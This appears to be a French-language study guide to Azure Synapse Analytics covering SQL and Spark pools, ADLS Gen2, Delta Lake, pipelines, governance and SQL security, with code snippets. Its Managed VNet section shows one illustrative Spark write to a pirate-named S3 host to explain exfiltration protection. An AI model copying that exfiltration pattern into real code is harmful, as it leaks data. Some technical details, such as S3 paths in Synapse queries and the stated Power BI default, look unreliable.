📈 Azure Synapse Analytics
Guide complet IDEO-Lab sur la plateforme "Data + AI" (Spark, SQL Pools, Lakehouse).
Concept : Plateforme Unifiée
Azure. Data Warehouse (SQL) + Big Data (Spark) + ETL (Pipelines).
Synapse Azure LakehouseArchitecture (Workspace)
Synapse Studio, Pools (Compute), ADLS Gen2 (Stockage).
Workspace ADLS Gen2vs. Databricks / Snowflake
SQL (Snowflake) vs Spark (Databricks) vs Hybride (Synapse).
Databricks SnowflakeSQL Pool 1 : Dédié (DWH)
Le Data Warehouse (MPP). (Ancien : SQL DW). Provisionné.
Dedicated SQL Pool MPPArchi (Dédié) : MPP
Control Node (Cerveau) vs Compute Nodes (Muscle).
MPP Control NodeArchi (Dédié) : Distribution
HASH (Clé), ROUND_ROBIN, REPLICATE.
SQL Pool 2 : Serverless
Requêtes "On-Demand" (Pay-per-query) sur le Data Lake (S3/ADLS).
Serverless SQL On-DemandCompute : Apache Spark Pool
Le "Databricks" de Synapse. Notebooks (PySpark, C#).
Apache Spark NotebooksSQL : Dédié vs Serverless
Données "Chaudes" (Dédié) vs "Froides" (Serverless).
Dédié ServerlessStockage : ADLS Gen2
Azure Data Lake Storage. Le "Data Lake" (stockage 1aire).
ADLS Gen2 Data LakeFormat : Delta Lake
ACID sur le Data Lake. (Lecture/Écriture par Spark & SQL).
Delta Lake ACIDFormat : Parquet / CSV / JSON
Formats ouverts (supportés par Serverless SQL).
Parquet CSVETL : Synapse Pipelines
L'orchestrateur (Intégration Azure Data Factory (ADF)).
Synapse Pipelines ADF ETLPipelines : Activités (Activities)
Copy data (Simple) vs Data flow (Spark visuel).
Pipelines : Triggers (Déclencheurs)
Schedule (Temps), Tumbling Window, Event (Stockage).
Outil : Synapse Studio
L'interface Web unifiée (Data, Develop, Integrate...).
Synapse Studio Web UIIntégration : Power BI
Intégration native (BI & Reporting).
Power BI BIIntégration : Azure Purview
Gouvernance, Data Catalog, Data Lineage.
Azure Purview GouvernanceSécurité : Managed VNet
Workspace sécurisé, Data Exfiltration Protection.
Managed VNet SécuritéSécurité : SQL
GRANT/DENY, Row-Level Security (RLS), Dynamic Data Masking.
Cheat-sheet : PolyBase (SQL)
OPENROWSET, CREATE EXTERNAL TABLE.
Qu'est-ce qu'Azure Synapse Analytics ?
Azure Synapse Analytics est une plateforme analytique (PaaS) "limitless" (sans limites) sur Azure. C'est la réponse de Microsoft à l'architecture "Lakehouse" (3.2).
Son objectif est d'unifier (dans une seule interface : "Synapse Studio") tous les aspects de l'analyse de données :
- Data Warehousing (BI) : (Comme Snowflake/Redshift) via les SQL Pools (Dédiés ou Serverless).
- Big Data (Data Science) : (Comme Databricks) via les Apache Spark Pools.
- ETL/ELT (Intégration) : (Comme Azure Data Factory) via les Synapse Pipelines.
- Stockage (Data Lake) : Intégration native avec Azure Data Lake Storage (ADLS Gen2).
L'architecture de Synapse (similaire à Databricks) sépare le "Control Plane" (managé) du "Data Plane" (le compute/stockage client).
+------------------------------------------+
| [ AZURE (Control Plane) ] | (Managé par Microsoft)
| |
| +--------------------------------------+ |
| | [ Synapse Studio (Web UI) ] | |
| | (Develop, Integrate, Monitor, Manage)| |
| +--------------------------------------+ |
+------------------------------------------+
│
│ (Commandes : "Lancer Job", "Créer Pool")
│
▼
+------------------------------------------+
| [ VOTRE VPC/VNet AZURE (Data Plane) ] |
| |
| +------------+ +-------------+ +-------------+
| | SQL Pool | | Spark Pool | | SQL Pool |
| | (Dédié) | | (Spark) | | (Serverless)|
| +------------+ +-------------+ +-------------+
| (Compute) (Compute) (Compute)
| │ │ │
| └─────────(Lit/Écrit)─────────────┘
| │
| ▼
| +---------------------------------------------+
| | Stockage : ADLS Gen2 (Data Lake) |
| | (Fichiers : Delta, Parquet, CSV) |
| +---------------------------------------------+
+------------------------------------------+
- Synapse Workspace / Studio (6.1) : Le "Control Plane" (SaaS). L'interface web unifiée.
- Pools (Compute) (2.x, 3.x) : Les moteurs de calcul (SQL ou Spark) qui tournent (en PaaS/VMs) dans votre souscription.
- Stockage (ADLS Gen2) (4.1) : Le "Data Lake" (votre compte de stockage) où les données (Delta, Parquet) sont stockées.
Synapse essaie d'être à la fois Databricks (Spark) et Snowflake (SQL) dans un seul produit.
| Critère | Azure Synapse | Databricks | Snowflake |
|---|---|---|---|
| Focus Principal | Hybride (SQL + Spark). Plateforme "tout-en-un" Azure. | Spark & AI/ML (Python/Scala). | SQL Analytique (BI). |
| Moteur SQL | MPP (SQL DW) & Serverless (Dremel-like) | Databricks SQL (Photon) | Moteur SQL propriétaire (optimisé). |
| Moteur Spark | Apache Spark Pool (Managé) | Apache Spark (Optimisé) (Par les créateurs). | Snowpark (Traduit Python/Java en SQL). |
| Format (Lake) | Supporte Delta Lake (Lecture/Écriture) | Crée Delta Lake (Standard ouvert) | Propriétaire (Format interne). |
| Gouvernance | Azure Purview (Externe) | Unity Catalog (Intégré) | Intégré (RBAC, SQL Grant). |
Le Dedicated SQL Pool (Pool SQL Dédié) est le Data Warehouse (DWH) "classique" (provisionné) de Synapse. (C'est l'évolution d'"Azure SQL Data Warehouse").
Architecture : MPP (Massively Parallel Processing) (Voir 2.2). (Similaire à Redshift).
Caractéristiques
- Stockage : Stockage Couplé (Colonnaire) géré par le DWH (pas directement sur le Data Lake). (Sauf si "RA3" de Redshift).
- Compute (Provisionné) : Vous réservez (provisionnez) une puissance de calcul fixe, mesurée en DWU (Data Warehouse Units) (ex:
DW100c,DW1000c). - Facturation : Vous payez à l'heure (
$/heure) tant que le pool est actif (non-paué). - Pause (Suspend) : Vous pouvez (et devez) mettre en pause le pool (via l'UI ou l'API) lorsque vous ne l'utilisez pas (ex: la nuit) pour arrêter la facturation du Compute. (Le stockage est toujours facturé).
Le SQL Pool Dédié utilise une architecture MPP (Massively Parallel Processing) (similaire à Redshift).
(Client SQL / Power BI)
│
│ (Connexion SQL, Port 1433)
▼
[ 1. CONTROL NODE ] (1 Nœud)
(Le "Cerveau" : Moteur SQL, Optimizer)
(Ne stocke pas de données utilisateur)
│
│ (Distribue le plan d'exécution parallèle)
│
├────────► [ 2. COMPUTE NODE 1 ] (Le "Muscle")
│ (Stocke/Exécute 1/N des données)
│
├────────► [ 2. COMPUTE NODE 2 ] (Le "Muscle")
│ (Stocke/Exécute 1/N des données)
...
│
└────────► [ 2. COMPUTE NODE 'N' ]
- Control Node (Nœud de Contrôle) : (1) Reçoit la requête SQL, l'optimise (plan d'exécution), et la distribue (en parallèle) aux Nœuds Compute.
- Compute Nodes (Nœuds de Calcul) : (1 à 60) Les "workers". Ils stockent (localement) les données (distribuées) et exécutent les requêtes sur leur "morceau" de données.
DISTRIBUTION)C'est le choix d'optimisation (admin) le plus important (similaire au DISTKEY (3.2) de Redshift). Il définit comment les lignes sont réparties entre les Nœuds de Calcul (Compute Nodes).
CREATE TABLE ma_table ( ... )
WITH (
DISTRIBUTION = HASH(user_id)
);
| Distribution | Description | Usage |
|---|---|---|
HASH (colonne) | (Hash) Distribue basé sur le hash d'une colonne. (Toutes les lignes "User_A" vont sur le Nœud 1). | (Meilleur) Tables de Faits (Fact) et Dimensions (Dim) larges. Utiliser la clé de JOIN (ex: user_id). |
ROUND_ROBIN | (Défaut) Distribue les lignes "tourniquet" (1-2-3-1-2-3). | Tables Staging (temporaires), ou sans clé de JOIN évidente. |
REPLICATE | Dupliquer. Met une copie complète de la table sur chaque Compute Node. | Petites tables de Dimensions (ex: dim_pays) (< 2 Go). |
Optimisation (HASH)
Si Fact_Ventes et Dim_Users sont DISTRIBUTION = HASH(user_id), les lignes de "Bob" (Ventes et User) sont colocalisées (sur le même Nœud Compute). Le JOIN est local (rapide) et évite le "Data Movement" (Shuffle) (lent).
Le Serverless SQL Pool est le moteur de requête "à la demande" de Synapse. C'est l'équivalent de Redshift Spectrum (4.1) ou BigQuery On-Demand (4.2).
Fonctionnement (Query-in-Place)
Il n'y a pas de cluster à provisionner (zéro DWU). Le pool est "toujours prêt" (Serverless).
Il est conçu uniquement pour lire (SELECT) des données directement depuis le Data Lake (ADLS Gen2 / S3).
Tarification (Pay-per-Query)
Vous ne payez pas au temps, vous payez (comme BigQuery) par Téraoctet (To) de données scannées (lues) sur le Data Lake.
Syntaxe (OPENROWSET)
On utilise la commande T-SQL OPENROWSET pour lire les fichiers (Parquet, Delta, CSV) du Data Lake.
SELECT TOP 10 *
FROM
OPENROWSET(
BULK 'https://monlake.blob.core.windows.net/data/logs/*.parquet',
FORMAT = 'PARQUET'
) AS [resultat]
Usage : Exploration (Data Science), requêtes Ad-hoc, BI sur données "froides" (non-critiques).
Le Apache Spark Pool est le "concurrent" de Databricks, intégré dans Synapse. C'est un cluster Spark (Managé) à la demande.
Usage (Data Engineering & Data Science)
Utilisé pour la logique complexe (non-SQL) :
- Data Engineering (ETL) : Transformations de données complexes (PySpark, Spark Scala).
- Data Science (ML) : Entraînement de modèles (MLlib, Scikit-learn) sur des données (Delta Lake).
Fonctionnement (Notebooks)
L'interface principale est le Synapse Notebook (5.2).
- Vous créez un "Spark Pool" (ex: "Pool-Spark-Medium").
- Vous configurez l'Auto-scale (ex: 3 à 10 nœuds) et l'Auto-pause (ex: 15 min d'inactivité).
- Vous attachez votre Notebook au Pool et exécutez du code (PySpark, C#, Spark SQL).
| Critère | SQL Pool Dédié (DWH/MPP) | SQL Pool Serverless (On-Demand) |
|---|---|---|
| Objectif | BI/Reporting (Haute Performance). | Exploration (Ad-hoc), Data Lake. |
| Données ("Chaleur") | Données "Chaudes" (Hot). (Stockage DWH). | Données "Froides" / "Tièdes" (Cold/Warm) (Stockage ADLS). |
| Modèle de Coût | Provisionné (Fixe) : $/Heure (que vous requêtiez ou non). | "Pay-per-Query" (Variable) : $/To Scanné. |
| Performance | Très élevée (Stable, garantie par les DWU). | Variable (dépend des fichiers S3/Parquet). |
| Cas d'Usage | Dashboard Power BI (Production) sur la table "Ventes". | Requête d'analyste (Exploration) sur les "Logs JSON" de 2024. |
| Syntaxe (Lecture) | SELECT * FROM ma_table_interne | SELECT * FROM OPENROWSET(...) |
ADLS Gen2 (Azure Data Lake Storage Gen2) est le service de stockage (Data Lake) d'Azure. C'est la fondation de stockage pour tout Synapse (et Databricks sur Azure).
(Azure Blob + HDFS)
ADLS Gen2 est (essentiellement) Azure Blob Storage (Stockage Objet, équiv. S3) AVEC un "Namespace Hiérarchique" (HDFS) activé.
- Stockage Objet (Blob) : (Scalabilité/Coût S3).
- Namespace Hiérarchique (HDFS) : Permet de gérer des dossiers (directories) atomiques (important pour Spark/Hadoop).
Rôle dans Synapse
ADLS Gen2 (votre compte de stockage) est le stockage principal (primaire) du Workspace Synapse. C'est là que :
- Les Spark Pools lisent et écrivent leurs données (Delta Lake, Parquet).
- Les Serverless SQL Pools lisent les données (via
OPENROWSET). - (Optionnel) Les Dedicated SQL Pools peuvent lire (via
COPYouPolyBase).
Delta Lake (voir guide Databricks 3.3) est un format de stockage (storage layer) open-source (basé sur Parquet + Logs JSON) qui apporte les garanties ACID (fiabilité) au Data Lake (ADLS/S3).
Support (Synapse)
Synapse (contrairement à Snowflake/Redshift) a un support natif (Lecture/Écriture) pour Delta Lake, ce qui permet l'interopérabilité (Lakehouse).
Spark Pool (Lecture/Écriture)
(PySpark) C'est le support natif (identique à Databricks).
# (Lecture)
df = spark.read.format("delta").load("abfss://...")
# (Écriture)
df.write.format("delta").mode("overwrite").save("abfss://...")Serverless SQL Pool (Lecture/Écriture)
(T-SQL) Permet de requêter (SQL) des tables Delta directement (via OPENROWSET).
-- (Lecture)
SELECT * FROM
OPENROWSET(
BULK 's3://.../my_delta_table/',
FORMAT = 'DELTA'
) AS [result]
-- (Écriture) (Nécessite CETAS)
CREATE EXTERNAL TABLE ...
AS SELECT * FROM ...Apache Parquet (voir guide BigQuery 3.2, Redshift 3.1) est le format de fichier (File Format) colonnaire, open-source, standard de l'écosystème Big Data (Hadoop, Spark).
Avantages (vs CSV/JSON)
- Stockage Colonnaire : (Optimisé OLAP) Extrêmement rapide pour les requêtes analytiques (
SELECT,AVG) car il ne lit que les colonnes nécessaires (évite les I/O inutiles). - Compression : Très haute compression (Snappy, Gzip). (Réduit les coûts de stockage S3/ADLS).
- Schéma (Auto-descriptif) : Le schéma (colonnes, types) est embarqué dans le fichier. (
spark.read.parquet()n'a pas besoin deschema).
Usage : C'est le format "socle". Delta Lake (4.2) est (essentiellement) des fichiers Parquet + un Log JSON (ACID).
Synapse Pipelines (onglet "Integrate" de Synapse Studio) est l'orchestrateur ETL/ELT de Synapse.
C'est Azure Data Factory (ADF)
Ce n'est pas un nouvel outil. C'est (littéralement) Azure Data Factory (ADF) intégré dans l'interface Synapse Studio.
Usage (Orchestration)
Permet de créer, planifier (scheduler), et monitorer des pipelines (DAGs) de données.
Exemple (Pipeline Nocturne) :
1. [Trigger] (Se lance à 2h00)
│
▼
2. [Activité: Copy Data] (Copie les CSV de SFTP -> S3/ADLS (Bronze))
│
▼ (Si Succès)
3. [Activité: Notebook] (Lance un Notebook Spark (3.2)
│ pour transformer Bronze -> Silver)
│
▼ (Si Succès)
4. [Activité: Stored Proc] (Lance une Stored Proc (SQL Dédié)
pour agréger Silver -> Gold)
Copy vs Data Flow)Les "Activités" (Activities) sont les "briques" (tâches) d'un pipeline.
Copy Activity (Activité de Copie)
(ELT - Extract-Load-Transform)
C'est une activité de "déplacement" (binaire) très rapide et scalable. Elle ne fait pas de transformation complexe.
Usage : "Prendre (E) 1000 fichiers CSV d'un SFTP, et les charger (L) (copier) tels quels dans le Data Lake (ADLS/S3)". (La transformation (T) se fera *après*, par Spark ou SQL).
Mapping Data Flow (Flux de Données)
(ETL - Extract-Transform-Load)
C'est un outil de ETL visuel (no-code) (similaire à Talend/Informatica) intégré à Synapse.
Flux : L'utilisateur (via GUI) "dessine" un flux (Source -> Join -> Aggregate -> Pivot -> Sink).
Exécution : Synapse (ADF) traduit ce graphe visuel en code Apache Spark (PySpark) optimisé, et l'exécute sur un Spark Pool (3.2).
Usage : Transformations complexes (Jointures, Agrégations) "à la volée" (In-flight) sans écrire de code Spark.
Un "Trigger" (Déclencheur) est ce qui lance (exécute) un Pipeline.
| Type | Description | Exemple |
|---|---|---|
| Schedule (Planifié) | (Similaire à Cron) Basé sur le temps (calendrier). | "Tous les jours à 2h00 du matin." |
| Tumbling Window | (Batchs) Fenêtre glissante (intervalles fixes). | "Toutes les 15 minutes, traite les données des 15 dernières minutes (ex: 10:00-10:15, 10:15-10:30)." |
| Event (Événementiel) | (Recommandé pour temps réel) Basé sur un événement (Storage). | "Dès qu'un nouveau fichier (Blob) arrive dans le dossier 'Ingest' de l'ADLS." |
| Manual (Manuel) | Clic (Trigger now) ou appel API. | (Débogage). |
Synapse Studio est l'interface Web (GUI) unifiée (le "guichet unique") pour toutes les "personas" Databricks.
Les 4 "Hubs" (Onglets)
- Data (Données) : (Explorateur) Voir les données (Data Lake (ADLS), Bases SQL Dédiées, Bases Spark...).
- Develop (Développer) : (L'IDE)
- SQL Scripts (pour Serverless/Dédié)
- Notebooks (pour Spark)
- Data Flows (pour ETL Visuel)
- Integrate (Intégrer) : (Azure Data Factory)
- Pipelines (Orchestration, Copy)
- Monitor (Moniteur) :
- Statut des Pools (Spark/SQL), Exécutions de Pipelines (Jobs), Requêtes SQL.
- Manage (Gérer) :
- Création/Gestion des Pools (Compute), Sécurité (IAM), Git.
Synapse est conçu pour une intégration native avec Power BI (l'outil de BI/Reporting de Microsoft).
Flux de Connexion
- DirectQuery (Défaut) : Power BI ne copie pas les données. Chaque "clic" (filtre) dans le dashboard Power BI envoie une requête SQL "live" (en temps réel) au Dedicated SQL Pool (2.1) ou au Serverless SQL Pool (3.1).
- Import (Importation) : (Alternative) Power BI copie (importe) les données dans son propre moteur In-Memory (VertiPaq). (Rapide, mais données "statiques").
Intégration Studio
Le Synapse Studio (6.1) a un onglet "Visualize" qui permet de créer/éditer des rapports Power BI directement dans l'interface Synapse.
Azure Purview (récemment renommé Microsoft Purview) est le service de gouvernance de données (Data Governance) unifié d'Azure.
C'est l'équivalent d'Unity Catalog (4.1) de Databricks.
Intégration Synapse
Vous pouvez "connecter" votre Workspace Synapse à Purview. Purview va alors scanner (crawler) Synapse pour :
- 1. Data Catalog (Catalogue) : Découvrir et indexer tous les assets (Tables SQL, Fichiers ADLS, Notebooks Spark, Pipelines...).
- 2. Data Classification (Classification) : Détecter automatiquement les données sensibles (ex: "Numéro CB", "Email") (PII).
- 3. Data Lineage (Lignage) : (Le plus important) Analyser les Synapse Pipelines (5.1) pour tracer automatiquement le flux de données (ex:
Source S3 -> Data Flow -> Table SQL Dédiée).
Par défaut, les "Compute Pools" (Spark/SQL) de Synapse tournent sur le réseau public (partagé) d'Azure (accès via Internet).
Managed VNet (Réseau Managé)
C'est l'option de sécurité (recommandée) lors de la création du Workspace.
Action : Synapse provisionne un Réseau Virtuel (VNet) "managé" (dédié) pour ce Workspace. Tous les "Compute Pools" (Spark, SQL) tournent à l'intérieur de ce VNet isolé.
Data Exfiltration Protection (Protection exfiltration)
Problème : Un Notebook Spark (dans le VNet managé) peut-il faire df.write.parquet("s3://compte-pirate.com/...") ?
Solution : Si "Data Exfiltration Protection" (DEP) est activé, Synapse bloque (via pare-feu) toutes les connexions sortantes (Egress) du VNet managé, sauf vers des destinations approuvées (whitelisted) (ex: "uniquement notre ADLS Gen2").
Synapse (SQL Pools) utilise T-SQL (standard Microsoft) pour la sécurité L7.
ACLs (Contrôle d'Accès)
Syntaxe T-SQL standard pour donner des permissions (Utilisateurs/Groupes AAD).
-- (Donne le droit de 'lire' (SELECT) la table) GRANT SELECT ON [schema].[ma_table] TO [Groupe_BI]; -- (Refuse le droit de supprimer) DENY DELETE ON [schema].[ma_table] TO [Groupe_Junior];
Row-Level Security (RLS) (Filtrage par Ligne)
Problème : L'équipe "France" et "Allemagne" partagent la même table "Ventes", mais ne doivent voir que leurs propres lignes.
Solution : RLS. C'est une politique de sécurité (Policy) qui ajoute automatiquement un filtre WHERE (invisible) à toutes les requêtes.
-- (Simplifié) CREATE SECURITY POLICY ... ADD FILTER PREDICATE ... (WHERE region_utilisateur() = [colonne_region]) -- (L'Analyste 'Bob' (France) exécute :) SELECT * FROM Ventes; -- (Redshift/Synapse exécute :) SELECT * FROM Ventes WHERE [colonne_region] = 'France'
Dynamic Data Masking (Masquage)
Problème : L'Analyste (BI) doit pouvoir voir la colonne "Email", mais pas en clair (RGPD/PII).
Solution : Masquage dynamique (à la volée, sans modifier les données).
-- (Définit une fonction de masquage sur la colonne) ALTER TABLE users ALTER COLUMN email ADD MASKED WITH (FUNCTION = 'email()') -- (L'Analyste exécute :) SELECT email FROM users; -- (Résultat :) aXXX@XXXX.com
Commandes T-SQL (PolyBase) clés pour l'ingestion et les requêtes externes (Data Lake).
OPENROWSET (Utilisé par SQL Serverless)
Lecture "Ad-hoc" (Query-in-place) de fichiers S3/ADLS.
SELECT
*
FROM
OPENROWSET(
BULK 'https://monlake.blob.core.windows.net/data/logs/2025/*.parquet',
FORMAT = 'PARQUET'
)
WITH (
date_col DATE,
message VARCHAR(100)
) AS [r]
WHERE r.message LIKE '%ERROR%';CETAS (Create External Table As Select)
Inverse : Écrire (Exporter) des données (d'un SQL Pool) vers le Data Lake (S3/ADLS) au format Parquet.
CREATE EXTERNAL TABLE ma_table_s3
WITH (
LOCATION = '/export/ma_table_s3/',
DATA_SOURCE = MonDataLake,
FILE_FORMAT = FormatParquet
)
AS
SELECT * FROM ma_table_interne_dwh; -- (Requête source)
